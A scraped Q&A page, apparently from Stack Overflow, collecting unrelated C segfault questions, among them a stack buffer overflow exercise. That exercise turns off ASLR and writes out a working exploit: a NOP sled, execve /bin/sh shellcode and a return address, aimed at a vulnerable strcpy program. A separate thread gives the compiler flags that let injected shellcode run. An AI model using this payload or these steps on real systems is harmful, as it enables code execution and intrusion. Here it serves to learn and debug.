It seems that I'm completely misusing mkstemp. However I use it, I always get a segfault. I compiled the most basic program below with gcc -ggdb -Wall -Werror main.c and ran it with ./a.out
#include <stdlib.h>
int main(int argc, char **argv) {
mkstemp("XXXXXX");
return 0;
}
This always returns the returncode 139 and it prints [1] 23532 segmentation fault ./a.out on the terminal. (23532 always changes because it's the pid).
I tried:
switching the flags of gcc (none at all, a lot of combinations of the previous flags, -Wextra and -O0)
Changing the code by saving the resulting filedescriptor in a int, sleeping 5 seconds and closing the filedescriptor again. But I don't even reach the start of the sleep...
And now I'm out of ideas...
From the man page:
The last six characters of template must be "XXXXXX" and these are
replaced with a string that makes the filename unique. Since it will
be modified, template must not be a string constant, but should be
declared as a character array.
So you need to declare a character array:
char filename[] = "fileXXXXXX";
mkstemp(filename);
Related
I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.
If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.
First of all, I have deactivated ASLR on my OS by doing this :
echo 0 > /proc/sys/kernel/randomize_va_space
Here is my vulnerable C code :
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
I compiled it in 32 bit using gcc on a 64 bit machine with the following line :
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.
Here is my shellcode (NOP|shellcode-payload|return-address) :
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
By putting a break func in gdb, I can print the following bytes showing a bit of the stack.
If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?
For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?
It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.
You should use quotes to force the entire output to be a single argument: "$(python2 ... )"
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 2 years ago.
Improve this question
I get a segmentation fault before main() when I try to start with command ./somename.o -s 4
Works well when using ./somename.o without key arguments
main.c
#include <stdio.h>
#include <stdlib.h>
#include "input.h"
#include "output.h"
int main(int argc, char** argv) {
input_handler(argc, argv);
pretty_print();
return 0;
}
input.h
#include "data.h"
#include"func.h"
#include <getopt.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
void input_handler(int argc, char** argv);
data.h
#pragma once
void(*func) (void);
void(*input) (void);
static struct Matrix {
int size;
int** A;
}matrix;
GitHub:
https://github.com/sandderson/lab2
EDIT:
added include guards
Also some usefull info:
I use windows subsystem for linux
I compile with makefile and following sequence:
gcc -c func.c
gcc -c input.c
gcc -c main.c
gcc -c output.c
gcc main.o func.o input.o output.o -o Lab2.o
Your call to getopt_long uses "sdi" as the options string, which means that -s, -d and -i are possible options, and that none of them take an argument (since none are followed by a colon). See man getopt for details.
But when you are handling the -s option, you do:
matrix.size = atoi(optarg);
which assumes optarg will be set up to point to an argument. It isn't, because as far as getopt_long is concerned, -s doesn't take an argument. Thus, it has its initial value (NULL) and atoi attempts to use that as a string. Unsurprisingly, a segmentation fault results.
Moreover, your attempt to bracket the error by inserting printf calls fails because you have failed to ensure that the printf is flushed to the actual output device. Stdio buffering makes printf a notoriously inaccurate tool for demonstrating the sequence of actions inside a program; you really cannot assume that an error preceded a call to printf just because the output from the printf was not visible.
Ideally, you should do both of the following (although either one would be sufficient in most cases):
Send debugging output to stderr using fprintf
Terminate debugging lines with a newline character
Eg: fprintf(stderr, "%s\n", "dlfkg");, although you could use a better message.
(Even if you do that, it is possible that the line output to the terminal is overwritten or otherwise fails to be presented as a result of a segfault which occurs soon afterwards. But your odds of seeing the message are a lot better.)
But if you neither of those things, then the most likely outcome is that the characters printed will only be placed in the stdio buffer, where they will stay until the buffer becomes full or a newline is printed (if the device is line-buffered, for which there is no guarantee). When the program blows up as a result of the segfault, the stdio buffers vanish into thin air, so nothing ever gets printed. Thus the non-appearance of the line tells you precisely nothing about the sequence of events.
The small amount of extra typing would have been a lot less than asking this question here and responding to the resulting comments. Just sayin'
I'm curious why when reading less than 4 bytes from a file, the output is corrupted.
Here is my test file:
user#UnixVM:~/labs$ cat foo.txt
helloworld
And a simple program to read from the file:
int main()
{
int file=0;
if((file=open("foo.txt",O_RDONLY)) < -1)
return 1;
char buffer[11];
read(file,buffer,3);
printf("%s\n",buffer);
return 0;
}
The output is corrupted and may be different between executions:
user#UnixVM:~/labs$ gcc -Wall lab1_4.c -o lab1_4 ; ./lab1_4
hel2
user#UnixVM:~/labs$ gcc -Wall lab1_4.c -o lab1_4 ; ./lab1_4
helâ–’
But every time I make number of bytes to read greater or equal to 4 (read(file,buffer,4);), it works fine.
Your output is "corrupted" because buffer does not contain a NUL terminated C string. Read more about undefined behavior. Be scared (UB sometimes appears to work, and that might explain what you experiment).
So before your call to read add memset(buffer, 0, sizeof(buffer)) to clear your buffer. Or initialize it with char buffer[11] =""; (both are nearly equivalent and likely, with optimizations enabled e.g. gcc -O2, to generate the same machine code). Since your buffer is 11 bytes long and you read at most 3 bytes you'll then be sure that it is NUL terminated after the read.
Be sure to compile with all warnings and debug info (so gcc -Wall -Wextra -g lab1_4.c -o lab1_4 in your case). Read How to debug small programs
Read carefully the documentation of read(2) and of every function you are using. Notice the return count from read. You should test and use it.
I wrote a simple ASM file and ran it in a C file I'd written. I got a segentation fault. However, when I execute the compiled ASM file, I get no error.
I am running 64 bit and using 32 bit shellcode. Is that the issue?
It can't be, because I'm getting a segmentation fault with this:
char shellcode[] = "\x90"; //simple NOP in ASM
int main(int argc, char **argv)
{
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Can someone please run this and tell me whether or not they get a segmentation fault. I have used 3 or 4 other C files as well. None have worked.
Update:
((void(*)(void))code)();
Seems to be working in place of those three lines.
As mentioned above the shellcode is in non-executable memory. Try recompiling the program with the -fno-stack-protector and the -z execstack flags enabled.
That is:
gcc -fno-stack-protector -z execstack -O OutputFileName yourShellCode.c
Two issues:
The shell code might be in non-executable memory. In order to make it executable, you need to either ask the OS to make it executable (e.g. with mprotect(2) or VirtualProtect()), or allocate new executable memory and copy it there (e.g. with mmap(2) or VirtualAlloc().
Your shell code doesn't return/exit. After the CPU executes your NOP there (0x90), it's going to keep on executing code in the memory that comes after that NOP instruction. Most likely, this will crash quickly, but it might do other random, unpredictable things.
To fix #2, you need to explicitly either execute a return instruction (C3 on x86/x86-64) to return from your shell code, or you need to do something which never returns, like call the exit(3) function.
Maybe you should change your variable :
char shellcode[]
To:
const char shellcode[]
Like in this question:
segmentation-fault-error-when-exe-c
This one worked for me! :)
Try put the shellcode in the main function to make it a local variable:
int main(int argc, char **argv)
{
const char shellcode[] = "<your shellcode>";
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Then compile it with flags -fno-stack-protector and -z execstack:
gcc <filename>.c -fno-stack-protector -z execstack -o <filename>
I found this idea on stackexchange and it worked for me.
So I've been trying to get this code to compile using a gcc compiler using c (I found lots of references to c++ but none to c so I asked this) I kept on getting the error Badly placed ()'s every time I go to run the program. So I simplified it to a very simple Hello World test program and I still get the same error.
What could be causing this error?
#include <stdio.h>
int main(int argc, int* argv[])
{
printf("Hello World\n");
return 0;
}
It seems that you are not trying to execute the compiled binary, but that you have a system that runs a tcsh and you are feeding the C source code directly into that shell:
> tcsh /tmp/badly.c
Badly placed ()'s.
A C program must first be compiled to a binary (here: /tmp/badly), and then you have to execute that binary:
> gcc /tmp/badly.c -Wall -o /tmp/badly
/tmp/badly.c:3:5: warning: second argument of 'main' should be 'char **' [-Wmain]
> /tmp/badly
Hello World
As ouah already noticed in his answer, with the -Wall argument to gcc you also get the informative message that the parameters of your main function are wrong.